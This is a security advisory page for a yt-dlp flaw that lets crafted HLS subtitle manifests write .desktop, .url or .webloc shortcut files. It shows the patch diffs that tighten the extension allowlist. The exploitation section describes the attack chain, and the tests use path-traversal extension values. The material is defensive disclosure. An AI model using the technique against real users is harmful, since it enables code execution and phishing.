VYPR
High severity8.3GHSA Advisory· Published Jun 16, 2026· Updated Jun 16, 2026

yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)

CVE-2026-50023

Description

yt-dlp allows writing unsafe OS-shortcut files (.desktop/.url/.webloc) by bypassing a previous fix, enabling remote attackers to plant malicious shortcut files via crafted subtitle manifests.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

yt-dlp allows writing unsafe OS-shortcut files (.desktop/.url/.webloc) by bypassing a previous fix, enabling remote attackers to plant malicious shortcut files via crafted subtitle manifests.

Vulnerability

CVE-2026-50023 is a bypass of the extension allowlist introduced to fix CVE-2024-38519 in yt-dlp. The fix in version 2024.07.01 explicitly permitted the extensions .desktop, .url, and .webloc to preserve the --write-link functionality [1][4]. However, many extractors derive file extensions from attacker-controlled sources (e.g., an EXT-X-MEDIA URI in an HLS m3u8 manifest). If a user passes --write-subs (or similar options), yt-dlp will write attacker-controlled content to a file with one of these unsafe extensions, regardless of the actual content type. Versions from 2024.07.01 up to (but not including) 2026.06.09 are affected [2][3].

Exploitation

An attacker must control a media stream that yt-dlp processes (e.g., host a malicious master.m3u8 manifest). The manifest contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a URI pointing to a payload file such as http://attacker/payload.desktop. The attacker also hosts the payload file containing a malicious shortcut (e.g., a .desktop file with an Exec= directive or a .url file pointing to a phishing site). The victim must run yt-dlp with --write-subs on the attacker’s stream. yt-dlp will download the payload and save it to disk with the exact filename from the URI (e.g., payload.desktop). The file is saved next to the downloaded video, and the OS often hides the extension, tricking the user into opening the malicious shortcut [4].

Impact

Successful exploitation allows an attacker to write arbitrary OS-shortcut files to the user’s filesystem. These shortcut files can execute arbitrary commands (e.g., via .desktop Exec= lines), launch remote binaries, or redirect the user to malicious URLs. Because the file extension is often hidden, the user may be deceived into opening the malicious shortcut, leading to arbitrary code execution, credential theft, or further system compromise [4].

Mitigation

The vulnerability is fixed in yt-dlp version 2026.06.09 (and the corresponding nightly build 2026.06.09.230517) [2][3]. The fix removes .desktop, .url, and .webloc from the safe extensions list, restricting their use to the --write-link context only [2][3][4]. Users should update to 2026.06.09 or later. No complete workaround is available for older versions; users should avoid using --write-subs or other options that derive file extensions from untrusted sources until patched.

AI Insight generated on Jun 16, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

4
e578e265f7c6

Remove `url`, `desktop` and `webloc` from safe extensions

https://github.com/yt-dlp/yt-dlpSimon SawickiMay 25, 2026via ghsa
2 files changed · +9 9
  • yt_dlp/utils/_utils.py+6 8 modified
    @@ -2139,16 +2139,16 @@ def parse_duration(s):
             (days, 86400), (hours, 3600), (mins, 60), (secs, 1), (ms, 1)))
     
     
    -def _change_extension(prepend, filename, ext, expected_real_ext=None):
    +def _change_extension(prepend, filename, ext, expected_real_ext=None, *, _allowed_exts=()):
         name, real_ext = os.path.splitext(filename)
     
         if not expected_real_ext or real_ext[1:] == expected_real_ext:
             filename = name
             if prepend and real_ext:
    -            _UnsafeExtensionError.sanitize_extension(ext, prepend=True)
    +            _UnsafeExtensionError.sanitize_extension(ext, prepend=True, _allowed_exts=_allowed_exts)
                 return f'{filename}.{ext}{real_ext}'
     
    -    return f'{filename}.{_UnsafeExtensionError.sanitize_extension(ext)}'
    +    return f'{filename}.{_UnsafeExtensionError.sanitize_extension(ext, _allowed_exts=_allowed_exts)}'
     
     
     prepend_extension = functools.partial(_change_extension, True)
    @@ -5211,20 +5211,17 @@ class _UnsafeExtensionError(Exception):
             # others
             *MEDIA_EXTENSIONS.manifests,
             *MEDIA_EXTENSIONS.storyboards,
    -        'desktop',
             'ism',
             'm3u',
             'sbv',
    -        'url',
    -        'webloc',
         ])
     
         def __init__(self, extension, /):
             super().__init__(f'unsafe file extension: {extension!r}')
             self.extension = extension
     
         @classmethod
    -    def sanitize_extension(cls, extension, /, *, prepend=False):
    +    def sanitize_extension(cls, extension, /, *, prepend=False, _allowed_exts=()):
             if extension is None:
                 return None
     
    @@ -5235,7 +5232,8 @@ def sanitize_extension(cls, extension, /, *, prepend=False):
                 _, _, last = extension.rpartition('.')
                 if last == 'bin':
                     extension = last = 'unknown_video'
    -            if last.lower() not in cls.ALLOWED_EXTENSIONS:
    +            allowed = _allowed_exts or cls.ALLOWED_EXTENSIONS
    +            if last.lower() not in allowed:
                     raise cls(extension)
     
             return extension
    
  • yt_dlp/YoutubeDL.py+3 1 modified
    @@ -3395,7 +3395,9 @@ def _write_link_file(link_type):
                     self.report_warning(
                         f'Cannot write internet shortcut file because the actual URL of "{info_dict["webpage_url"]}" is unknown')
                     return True
    -            linkfn = replace_extension(self.prepare_filename(info_dict, 'link'), link_type, info_dict.get('ext'))
    +            linkfn = replace_extension(
    +                self.prepare_filename(info_dict, 'link'), link_type,
    +                info_dict.get('ext'), _allowed_exts=tuple(LINK_TEMPLATES))
                 if not self._ensure_dir_exists(linkfn):
                     return False
                 if self.params.get('overwrites', True) and os.path.exists(linkfn):
    
5ce582448ece

[core] Disallow unsafe extensions (CVE-2024-38519)

https://github.com/yt-dlp/yt-dlpSimon SawickiJul 1, 2024via body-scan
7 files changed · +179 12
  • devscripts/changelog_override.json+5 0 modified
    @@ -175,5 +175,10 @@
             "when": "e6a22834df1776ec4e486526f6df2bf53cb7e06f",
             "short": "[ie/orf:on] Add `prefer_segments_playlist` extractor-arg (#10314)",
             "authors": ["seproDev"]
    +    },
    +    {
    +        "action": "add",
    +        "when": "6aaf96a3d6e7d0d426e97e11a2fcf52fda00e733",
    +        "short": "[priority] Security: [[CVE-2024-10123](https://nvd.nist.gov/vuln/detail/CVE-2024-10123)] [Properly sanitize file-extension to prevent file system modification and RCE](https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j)\n    - Unsafe extensions are now blocked from being downloaded"
         }
     ]
    
  • README.md+8 0 modified
    @@ -2229,6 +2229,14 @@ For ease of use, a few more compat options are available:
     * `--compat-options 2022`: Same as `--compat-options 2023,playlist-match-filter,no-external-downloader-progress,prefer-legacy-http-handler,manifest-filesize-approx`
     * `--compat-options 2023`: Currently does nothing. Use this to enable all future compat options
     
    +The following compat options restore vulnerable behavior from before security patches:
    +
    +* `--compat-options allow-unsafe-ext`: Allow files with any extension (including unsafe ones) to be downloaded ([GHSA-79w7-vh3h-8g4j](<https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j>))
    +
    +    > :warning: Only use if a valid file download is rejected because its extension is detected as uncommon
    +    >
    +    > **This option can enable remote code execution! Consider [opening an issue](<https://github.com/yt-dlp/yt-dlp/issues/new/choose>) instead!**
    +
     ### Deprecated options
     
     These are all the deprecated options and the current alternative to achieve the same effect
    
  • test/test_utils.py+31 0 modified
    @@ -130,6 +130,7 @@
         xpath_text,
         xpath_with_ns,
     )
    +from yt_dlp.utils._utils import _UnsafeExtensionError
     from yt_dlp.utils.networking import (
         HTTPHeaderDict,
         escape_rfc3986,
    @@ -281,6 +282,13 @@ def env(var):
             finally:
                 os.environ['HOME'] = old_home or ''
     
    +    _uncommon_extensions = [
    +        ('exe', 'abc.exe.ext'),
    +        ('de', 'abc.de.ext'),
    +        ('../.mp4', None),
    +        ('..\\.mp4', None),
    +    ]
    +
         def test_prepend_extension(self):
             self.assertEqual(prepend_extension('abc.ext', 'temp'), 'abc.temp.ext')
             self.assertEqual(prepend_extension('abc.ext', 'temp', 'ext'), 'abc.temp.ext')
    @@ -289,6 +297,19 @@ def test_prepend_extension(self):
             self.assertEqual(prepend_extension('.abc', 'temp'), '.abc.temp')
             self.assertEqual(prepend_extension('.abc.ext', 'temp'), '.abc.temp.ext')
     
    +        # Test uncommon extensions
    +        self.assertEqual(prepend_extension('abc.ext', 'bin'), 'abc.bin.ext')
    +        for ext, result in self._uncommon_extensions:
    +            with self.assertRaises(_UnsafeExtensionError):
    +                prepend_extension('abc', ext)
    +            if result:
    +                self.assertEqual(prepend_extension('abc.ext', ext, 'ext'), result)
    +            else:
    +                with self.assertRaises(_UnsafeExtensionError):
    +                    prepend_extension('abc.ext', ext, 'ext')
    +            with self.assertRaises(_UnsafeExtensionError):
    +                prepend_extension('abc.unexpected_ext', ext, 'ext')
    +
         def test_replace_extension(self):
             self.assertEqual(replace_extension('abc.ext', 'temp'), 'abc.temp')
             self.assertEqual(replace_extension('abc.ext', 'temp', 'ext'), 'abc.temp')
    @@ -297,6 +318,16 @@ def test_replace_extension(self):
             self.assertEqual(replace_extension('.abc', 'temp'), '.abc.temp')
             self.assertEqual(replace_extension('.abc.ext', 'temp'), '.abc.temp')
     
    +        # Test uncommon extensions
    +        self.assertEqual(replace_extension('abc.ext', 'bin'), 'abc.unknown_video')
    +        for ext, _ in self._uncommon_extensions:
    +            with self.assertRaises(_UnsafeExtensionError):
    +                replace_extension('abc', ext)
    +            with self.assertRaises(_UnsafeExtensionError):
    +                replace_extension('abc.ext', ext, 'ext')
    +            with self.assertRaises(_UnsafeExtensionError):
    +                replace_extension('abc.unexpected_ext', ext, 'ext')
    +
         def test_subtitles_filename(self):
             self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt'), 'abc.en.vtt')
             self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt', 'ext'), 'abc.en.vtt')
    
  • yt_dlp/__init__.py+8 0 modified
    @@ -64,6 +64,7 @@
         write_string,
     )
     from .utils.networking import std_headers
    +from .utils._utils import _UnsafeExtensionError
     from .YoutubeDL import YoutubeDL
     
     _IN_CLI = False
    @@ -593,6 +594,13 @@ def report_deprecation(val, old, new=None):
         if opts.ap_username is not None and opts.ap_password is None:
             opts.ap_password = getpass.getpass('Type TV provider account password and press [Return]: ')
     
    +    # compat option changes global state destructively; only allow from cli
    +    if 'allow-unsafe-ext' in opts.compat_opts:
    +        warnings.append(
    +            'Using allow-unsafe-ext opens you up to potential attacks. '
    +            'Use with great care!')
    +        _UnsafeExtensionError.sanitize_extension = lambda x: x
    +
         return warnings, deprecation_warnings
     
     
    
  • yt_dlp/options.py+1 1 modified
    @@ -474,7 +474,7 @@ def _alias_callback(option, opt_str, value, parser, opts, nargs):
                     'no-attach-info-json', 'embed-thumbnail-atomicparsley', 'no-external-downloader-progress',
                     'embed-metadata', 'seperate-video-versions', 'no-clean-infojson', 'no-keep-subs', 'no-certifi',
                     'no-youtube-channel-redirect', 'no-youtube-unavailable-videos', 'no-youtube-prefer-utc-upload-date',
    -                'prefer-legacy-http-handler', 'manifest-filesize-approx',
    +                'prefer-legacy-http-handler', 'manifest-filesize-approx', 'allow-unsafe-ext',
                 }, 'aliases': {
                     'youtube-dl': ['all', '-multistreams', '-playlist-match-filter', '-manifest-filesize-approx'],
                     'youtube-dlc': ['all', '-no-youtube-channel-redirect', '-no-live-chat', '-playlist-match-filter', '-manifest-filesize-approx'],
    
  • yt_dlp/utils/_utils.py+106 8 modified
    @@ -2085,17 +2085,20 @@ def parse_duration(s):
             (days, 86400), (hours, 3600), (mins, 60), (secs, 1), (ms, 1)))
     
     
    -def prepend_extension(filename, ext, expected_real_ext=None):
    +def _change_extension(prepend, filename, ext, expected_real_ext=None):
         name, real_ext = os.path.splitext(filename)
    -    return (
    -        f'{name}.{ext}{real_ext}'
    -        if not expected_real_ext or real_ext[1:] == expected_real_ext
    -        else f'{filename}.{ext}')
     
    +    if not expected_real_ext or real_ext[1:] == expected_real_ext:
    +        filename = name
    +        if prepend and real_ext:
    +            _UnsafeExtensionError.sanitize_extension(ext, prepend=True)
    +            return f'{filename}.{ext}{real_ext}'
    +
    +    return f'{filename}.{_UnsafeExtensionError.sanitize_extension(ext)}'
     
    -def replace_extension(filename, ext, expected_real_ext=None):
    -    name, real_ext = os.path.splitext(filename)
    -    return f'{name if not expected_real_ext or real_ext[1:] == expected_real_ext else filename}.{ext}'
    +
    +prepend_extension = functools.partial(_change_extension, True)
    +replace_extension = functools.partial(_change_extension, False)
     
     
     def check_executable(exe, args=[]):
    @@ -5035,6 +5038,101 @@ def items_(self):
     KNOWN_EXTENSIONS = (*MEDIA_EXTENSIONS.video, *MEDIA_EXTENSIONS.audio, *MEDIA_EXTENSIONS.manifests)
     
     
    +class _UnsafeExtensionError(Exception):
    +    """
    +    Mitigation exception for uncommon/malicious file extensions
    +    This should be caught in YoutubeDL.py alongside a warning
    +
    +    Ref: https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j
    +    """
    +    ALLOWED_EXTENSIONS = frozenset([
    +        # internal
    +        'description',
    +        'json',
    +        'meta',
    +        'orig',
    +        'part',
    +        'temp',
    +        'uncut',
    +        'unknown_video',
    +        'ytdl',
    +
    +        # video
    +        *MEDIA_EXTENSIONS.video,
    +        'avif',
    +        'ismv',
    +        'm2ts',
    +        'm4s',
    +        'mng',
    +        'mpeg',
    +        'qt',
    +        'swf',
    +        'ts',
    +        'vp9',
    +        'wvm',
    +
    +        # audio
    +        *MEDIA_EXTENSIONS.audio,
    +        'isma',
    +        'mid',
    +        'mpga',
    +        'ra',
    +
    +        # image
    +        *MEDIA_EXTENSIONS.thumbnails,
    +        'bmp',
    +        'gif',
    +        'heic',
    +        'ico',
    +        'jng',
    +        'jpeg',
    +        'jxl',
    +        'svg',
    +        'tif',
    +        'wbmp',
    +
    +        # subtitle
    +        *MEDIA_EXTENSIONS.subtitles,
    +        'dfxp',
    +        'fs',
    +        'ismt',
    +        'sami',
    +        'scc',
    +        'ssa',
    +        'tt',
    +        'ttml',
    +
    +        # others
    +        *MEDIA_EXTENSIONS.manifests,
    +        *MEDIA_EXTENSIONS.storyboards,
    +        'desktop',
    +        'ism',
    +        'm3u',
    +        'sbv',
    +        'url',
    +        'webloc',
    +        'xml',
    +    ])
    +
    +    def __init__(self, extension, /):
    +        super().__init__(f'unsafe file extension: {extension!r}')
    +        self.extension = extension
    +
    +    @classmethod
    +    def sanitize_extension(cls, extension, /, *, prepend=False):
    +        if '/' in extension or '\\' in extension:
    +            raise cls(extension)
    +
    +        if not prepend:
    +            _, _, last = extension.rpartition('.')
    +            if last == 'bin':
    +                extension = last = 'unknown_video'
    +            if last.lower() not in cls.ALLOWED_EXTENSIONS:
    +                raise cls(extension)
    +
    +        return extension
    +
    +
     class RetryManager:
         """Usage:
             for retry in RetryManager(...):
    
  • yt_dlp/YoutubeDL.py+20 3 modified
    @@ -159,7 +159,7 @@
         write_json_file,
         write_string,
     )
    -from .utils._utils import _YDLLogger
    +from .utils._utils import _UnsafeExtensionError, _YDLLogger
     from .utils.networking import (
         HTTPHeaderDict,
         clean_headers,
    @@ -172,6 +172,20 @@
         import ctypes
     
     
    +def _catch_unsafe_extension_error(func):
    +    @functools.wraps(func)
    +    def wrapper(self, *args, **kwargs):
    +        try:
    +            return func(self, *args, **kwargs)
    +        except _UnsafeExtensionError as error:
    +            self.report_error(
    +                f'The extracted extension ({error.extension!r}) is unusual '
    +                'and will be skipped for safety reasons. '
    +                f'If you believe this is an error{bug_reports_message(",")}')
    +
    +    return wrapper
    +
    +
     class YoutubeDL:
         """YoutubeDL class.
     
    @@ -454,8 +468,9 @@ class YoutubeDL:
                            Set the value to 'native' to use the native downloader
         compat_opts:       Compatibility options. See "Differences in default behavior".
                            The following options do not work when used through the API:
    -                       filename, abort-on-error, multistreams, no-live-chat, format-sort
    -                       no-clean-infojson, no-playlist-metafiles, no-keep-subs, no-attach-info-json.
    +                       filename, abort-on-error, multistreams, no-live-chat,
    +                       format-sort, no-clean-infojson, no-playlist-metafiles,
    +                       no-keep-subs, no-attach-info-json, allow-unsafe-ext.
                            Refer __init__.py for their implementation
         progress_template: Dictionary of templates for progress outputs.
                            Allowed keys are 'download', 'postprocess',
    @@ -1400,6 +1415,7 @@ def evaluate_outtmpl(self, outtmpl, info_dict, *args, **kwargs):
             outtmpl, info_dict = self.prepare_outtmpl(outtmpl, info_dict, *args, **kwargs)
             return self.escape_outtmpl(outtmpl) % info_dict
     
    +    @_catch_unsafe_extension_error
         def _prepare_filename(self, info_dict, *, outtmpl=None, tmpl_type=None):
             assert None in (outtmpl, tmpl_type), 'outtmpl and tmpl_type are mutually exclusive'
             if outtmpl is None:
    @@ -3192,6 +3208,7 @@ def existing_file(self, filepaths, *, default_overwrite=True):
                 os.remove(file)
             return None
     
    +    @_catch_unsafe_extension_error
         def process_info(self, info_dict):
             """Process a single resolved IE result. (Modifies it in-place)"""
     
    
d42a222ed541

[core,utils] Implement unsafe file extension mitigation

https://github.com/ytdl-org/youtube-dldirkfJun 30, 2024via body-scan
3 files changed · +209 43
  • test/test_utils.py+46 0 modified
    @@ -14,9 +14,11 @@
     import io
     import itertools
     import json
    +import types
     import xml.etree.ElementTree
     
     from youtube_dl.utils import (
    +    _UnsafeExtensionError,
         age_restricted,
         args_to_str,
         base_url,
    @@ -270,6 +272,27 @@ def env(var):
                 expand_path('~/%s' % env('YOUTUBE_DL_EXPATH_PATH')),
                 '%s/expanded' % compat_getenv('HOME'))
     
    +    _uncommon_extensions = [
    +        ('exe', 'abc.exe.ext'),
    +        ('de', 'abc.de.ext'),
    +        ('../.mp4', None),
    +        ('..\\.mp4', None),
    +    ]
    +
    +    def assertUnsafeExtension(self, ext=None):
    +        assert_raises = self.assertRaises(_UnsafeExtensionError)
    +        assert_raises.ext = ext
    +        orig_exit = assert_raises.__exit__
    +
    +        def my_exit(self_, exc_type, exc_val, exc_tb):
    +            did_raise = orig_exit(exc_type, exc_val, exc_tb)
    +            if did_raise and assert_raises.ext is not None:
    +                self.assertEqual(assert_raises.ext, assert_raises.exception.extension, 'Unsafe extension  not as unexpected')
    +            return did_raise
    +
    +        assert_raises.__exit__ = types.MethodType(my_exit, assert_raises)
    +        return assert_raises
    +
         def test_prepend_extension(self):
             self.assertEqual(prepend_extension('abc.ext', 'temp'), 'abc.temp.ext')
             self.assertEqual(prepend_extension('abc.ext', 'temp', 'ext'), 'abc.temp.ext')
    @@ -278,6 +301,19 @@ def test_prepend_extension(self):
             self.assertEqual(prepend_extension('.abc', 'temp'), '.abc.temp')
             self.assertEqual(prepend_extension('.abc.ext', 'temp'), '.abc.temp.ext')
     
    +        # Test uncommon extensions
    +        self.assertEqual(prepend_extension('abc.ext', 'bin'), 'abc.bin.ext')
    +        for ext, result in self._uncommon_extensions:
    +            with self.assertUnsafeExtension(ext):
    +                prepend_extension('abc', ext)
    +            if result:
    +                self.assertEqual(prepend_extension('abc.ext', ext, 'ext'), result)
    +            else:
    +                with self.assertUnsafeExtension(ext):
    +                    prepend_extension('abc.ext', ext, 'ext')
    +            with self.assertUnsafeExtension(ext):
    +                prepend_extension('abc.unexpected_ext', ext, 'ext')
    +
         def test_replace_extension(self):
             self.assertEqual(replace_extension('abc.ext', 'temp'), 'abc.temp')
             self.assertEqual(replace_extension('abc.ext', 'temp', 'ext'), 'abc.temp')
    @@ -286,6 +322,16 @@ def test_replace_extension(self):
             self.assertEqual(replace_extension('.abc', 'temp'), '.abc.temp')
             self.assertEqual(replace_extension('.abc.ext', 'temp'), '.abc.temp')
     
    +        # Test uncommon extensions
    +        self.assertEqual(replace_extension('abc.ext', 'bin'), 'abc.unknown_video')
    +        for ext, _ in self._uncommon_extensions:
    +            with self.assertUnsafeExtension(ext):
    +                replace_extension('abc', ext)
    +            with self.assertUnsafeExtension(ext):
    +                replace_extension('abc.ext', ext, 'ext')
    +            with self.assertUnsafeExtension(ext):
    +                replace_extension('abc.unexpected_ext', ext, 'ext')
    +
         def test_subtitles_filename(self):
             self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt'), 'abc.en.vtt')
             self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt', 'ext'), 'abc.en.vtt')
    
  • youtube_dl/utils.py+146 43 modified
    @@ -1717,39 +1717,6 @@ def random_user_agent():
         'PST': -8, 'PDT': -7   # Pacific
     }
     
    -
    -class Namespace(object):
    -    """Immutable namespace"""
    -
    -    def __init__(self, **kw_attr):
    -        self.__dict__.update(kw_attr)
    -
    -    def __iter__(self):
    -        return iter(self.__dict__.values())
    -
    -    @property
    -    def items_(self):
    -        return self.__dict__.items()
    -
    -
    -MEDIA_EXTENSIONS = Namespace(
    -    common_video=('avi', 'flv', 'mkv', 'mov', 'mp4', 'webm'),
    -    video=('3g2', '3gp', 'f4v', 'mk3d', 'divx', 'mpg', 'ogv', 'm4v', 'wmv'),
    -    common_audio=('aiff', 'alac', 'flac', 'm4a', 'mka', 'mp3', 'ogg', 'opus', 'wav'),
    -    audio=('aac', 'ape', 'asf', 'f4a', 'f4b', 'm4b', 'm4p', 'm4r', 'oga', 'ogx', 'spx', 'vorbis', 'wma', 'weba'),
    -    thumbnails=('jpg', 'png', 'webp'),
    -    # storyboards=('mhtml', ),
    -    subtitles=('srt', 'vtt', 'ass', 'lrc', 'ttml'),
    -    manifests=('f4f', 'f4m', 'm3u8', 'smil', 'mpd'),
    -)
    -MEDIA_EXTENSIONS.video = MEDIA_EXTENSIONS.common_video + MEDIA_EXTENSIONS.video
    -MEDIA_EXTENSIONS.audio = MEDIA_EXTENSIONS.common_audio + MEDIA_EXTENSIONS.audio
    -
    -KNOWN_EXTENSIONS = (
    -    MEDIA_EXTENSIONS.video + MEDIA_EXTENSIONS.audio
    -    + MEDIA_EXTENSIONS.manifests
    -)
    -
     # needed for sanitizing filenames in restricted mode
     ACCENT_CHARS = dict(zip('ÂÃÄÀÁÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖŐØŒÙÚÛÜŰÝÞßàáâãäåæçèéêëìíîïðñòóôõöőøœùúûüűýþÿ',
                             itertools.chain('AAAAAA', ['AE'], 'CEEEEIIIIDNOOOOOOO', ['OE'], 'UUUUUY', ['TH', 'ss'],
    @@ -3977,19 +3944,22 @@ def parse_duration(s):
         return duration
     
     
    -def prepend_extension(filename, ext, expected_real_ext=None):
    +def _change_extension(prepend, filename, ext, expected_real_ext=None):
         name, real_ext = os.path.splitext(filename)
    -    return (
    -        '{0}.{1}{2}'.format(name, ext, real_ext)
    -        if not expected_real_ext or real_ext[1:] == expected_real_ext
    -        else '{0}.{1}'.format(filename, ext))
    +    sanitize_extension = _UnsafeExtensionError.sanitize_extension
     
    +    if not expected_real_ext or real_ext.partition('.')[0::2] == ('', expected_real_ext):
    +        filename = name
    +        if prepend and real_ext:
    +            sanitize_extension(ext, prepend=prepend)
    +            return ''.join((filename, '.', ext, real_ext))
     
    -def replace_extension(filename, ext, expected_real_ext=None):
    -    name, real_ext = os.path.splitext(filename)
    -    return '{0}.{1}'.format(
    -        name if not expected_real_ext or real_ext[1:] == expected_real_ext else filename,
    -        ext)
    +    # Mitigate path traversal and file impersonation attacks
    +    return '.'.join((filename, sanitize_extension(ext)))
    +
    +
    +prepend_extension = functools.partial(_change_extension, True)
    +replace_extension = functools.partial(_change_extension, False)
     
     
     def check_executable(exe, args=[]):
    @@ -6579,3 +6549,136 @@ def join_nonempty(*values, **kwargs):
         if from_dict is not None:
             values = (traverse_obj(from_dict, variadic(v)) for v in values)
         return delim.join(map(compat_str, filter(None, values)))
    +
    +
    +class Namespace(object):
    +    """Immutable namespace"""
    +
    +    def __init__(self, **kw_attr):
    +        self.__dict__.update(kw_attr)
    +
    +    def __iter__(self):
    +        return iter(self.__dict__.values())
    +
    +    @property
    +    def items_(self):
    +        return self.__dict__.items()
    +
    +
    +MEDIA_EXTENSIONS = Namespace(
    +    common_video=('avi', 'flv', 'mkv', 'mov', 'mp4', 'webm'),
    +    video=('3g2', '3gp', 'f4v', 'mk3d', 'divx', 'mpg', 'ogv', 'm4v', 'wmv'),
    +    common_audio=('aiff', 'alac', 'flac', 'm4a', 'mka', 'mp3', 'ogg', 'opus', 'wav'),
    +    audio=('aac', 'ape', 'asf', 'f4a', 'f4b', 'm4b', 'm4p', 'm4r', 'oga', 'ogx', 'spx', 'vorbis', 'wma', 'weba'),
    +    thumbnails=('jpg', 'png', 'webp'),
    +    # storyboards=('mhtml', ),
    +    subtitles=('srt', 'vtt', 'ass', 'lrc', 'ttml'),
    +    manifests=('f4f', 'f4m', 'm3u8', 'smil', 'mpd'),
    +)
    +MEDIA_EXTENSIONS.video = MEDIA_EXTENSIONS.common_video + MEDIA_EXTENSIONS.video
    +MEDIA_EXTENSIONS.audio = MEDIA_EXTENSIONS.common_audio + MEDIA_EXTENSIONS.audio
    +
    +KNOWN_EXTENSIONS = (
    +    MEDIA_EXTENSIONS.video + MEDIA_EXTENSIONS.audio
    +    + MEDIA_EXTENSIONS.manifests
    +)
    +
    +
    +class _UnsafeExtensionError(Exception):
    +    """
    +    Mitigation exception for unwanted file overwrite/path traversal
    +    This should be caught in YoutubeDL.py with a warning
    +
    +    Ref: https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j
    +    """
    +    _ALLOWED_EXTENSIONS = frozenset(itertools.chain(
    +        (   # internal
    +            'description',
    +            'json',
    +            'meta',
    +            'orig',
    +            'part',
    +            'temp',
    +            'uncut',
    +            'unknown_video',
    +            'ytdl',
    +        ),
    +        # video
    +        MEDIA_EXTENSIONS.video, (
    +            'avif',
    +            'ismv',
    +            'm2ts',
    +            'm4s',
    +            'mng',
    +            'mpeg',
    +            'qt',
    +            'swf',
    +            'ts',
    +            'vp9',
    +            'wvm',
    +        ),
    +        # audio
    +        MEDIA_EXTENSIONS.audio, (
    +            'isma',
    +            'mid',
    +            'mpga',
    +            'ra',
    +        ),
    +        # image
    +        MEDIA_EXTENSIONS.thumbnails, (
    +            'bmp',
    +            'gif',
    +            'ico',
    +            'heic',
    +            'jng',
    +            'jpeg',
    +            'jxl',
    +            'svg',
    +            'tif',
    +            'wbmp',
    +        ),
    +        # subtitle
    +        MEDIA_EXTENSIONS.subtitles, (
    +            'dfxp',
    +            'fs',
    +            'ismt',
    +            'sami',
    +            'scc',
    +            'ssa',
    +            'tt',
    +        ),
    +        # others
    +        MEDIA_EXTENSIONS.manifests,
    +        (
    +            # not used in yt-dl
    +            # *MEDIA_EXTENSIONS.storyboards,
    +            # 'desktop',
    +            # 'ism',
    +            # 'm3u',
    +            # 'sbv',
    +            # 'swp',
    +            # 'url',
    +            # 'webloc',
    +            # 'xml',
    +        )))
    +
    +    def __init__(self, extension):
    +        super(_UnsafeExtensionError, self).__init__('unsafe file extension: {0!r}'.format(extension))
    +        self.extension = extension
    +
    +    @classmethod
    +    def sanitize_extension(cls, extension, **kwargs):
    +        # ... /, *, prepend=False
    +        prepend = kwargs.get('prepend', False)
    +
    +        if '/' in extension or '\\' in extension:
    +            raise cls(extension)
    +
    +        if not prepend:
    +            last = extension.rpartition('.')[-1]
    +            if last == 'bin':
    +                extension = last = 'unknown_video'
    +            if last.lower() not in cls._ALLOWED_EXTENSIONS:
    +                raise cls(extension)
    +
    +        return extension
    
  • youtube_dl/YoutubeDL.py+17 0 modified
    @@ -7,6 +7,7 @@
     import copy
     import datetime
     import errno
    +import functools
     import io
     import itertools
     import json
    @@ -53,6 +54,7 @@
         compat_urllib_request_DataHandler,
     )
     from .utils import (
    +    _UnsafeExtensionError,
         age_restricted,
         args_to_str,
         bug_reports_message,
    @@ -129,6 +131,20 @@
         import ctypes
     
     
    +def _catch_unsafe_file_extension(func):
    +    @functools.wraps(func)
    +    def wrapper(self, *args, **kwargs):
    +        try:
    +            return func(self, *args, **kwargs)
    +        except _UnsafeExtensionError as error:
    +            self.report_error(
    +                '{0} found; to avoid damaging your system, this value is disallowed.'
    +                ' If you believe this is an error{1}').format(
    +                    error.message, bug_reports_message(','))
    +
    +    return wrapper
    +
    +
     class YoutubeDL(object):
         """YoutubeDL class.
     
    @@ -1925,6 +1941,7 @@ def print_optional(field):
             if self.params.get('forcejson', False):
                 self.to_stdout(json.dumps(self.sanitize_info(info_dict)))
     
    +    @_catch_unsafe_file_extension
         def process_info(self, info_dict):
             """Process a single resolved IE result."""
     
    
37cea84f7751

[core,utils] Support unpublicised `--no-check-extensions`

https://github.com/ytdl-org/youtube-dldirkfJul 2, 2024via body-scan
3 files changed · +12 2
  • youtube_dl/__init__.py+4 0 modified
    @@ -21,6 +21,7 @@
         workaround_optparse_bug9161,
     )
     from .utils import (
    +    _UnsafeExtensionError,
         DateRange,
         decodeOption,
         DEFAULT_OUTTMPL,
    @@ -173,6 +174,9 @@ def _real_main(argv=None):
         if opts.ap_mso and opts.ap_mso not in MSO_INFO:
             parser.error('Unsupported TV Provider, use --ap-list-mso to get a list of supported TV Providers')
     
    +    if opts.no_check_extensions:
    +        _UnsafeExtensionError.lenient = True
    +
         def parse_retries(retries):
             if retries in ('inf', 'infinite'):
                 parsed_retries = float('inf')
    
  • youtube_dl/options.py+4 0 modified
    @@ -533,6 +533,10 @@ def _comma_separated_values_options_callback(option, opt_str, value, parser):
             '--no-check-certificate',
             action='store_true', dest='no_check_certificate', default=False,
             help='Suppress HTTPS certificate validation')
    +    workarounds.add_option(
    +        '--no-check-extensions',
    +        action='store_true', dest='no_check_extensions', default=False,
    +        help='Suppress file extension validation')
         workarounds.add_option(
             '--prefer-insecure',
             '--prefer-unsecure', action='store_true', dest='prefer_insecure',
    
  • youtube_dl/utils.py+4 2 modified
    @@ -6587,7 +6587,6 @@ def items_(self):
     class _UnsafeExtensionError(Exception):
         """
         Mitigation exception for unwanted file overwrite/path traversal
    -    This should be caught in YoutubeDL.py with a warning
     
         Ref: https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j
         """
    @@ -6666,6 +6665,9 @@ def __init__(self, extension):
             super(_UnsafeExtensionError, self).__init__('unsafe file extension: {0!r}'.format(extension))
             self.extension = extension
     
    +    # support --no-check-extensions
    +    lenient = False
    +
         @classmethod
         def sanitize_extension(cls, extension, **kwargs):
             # ... /, *, prepend=False
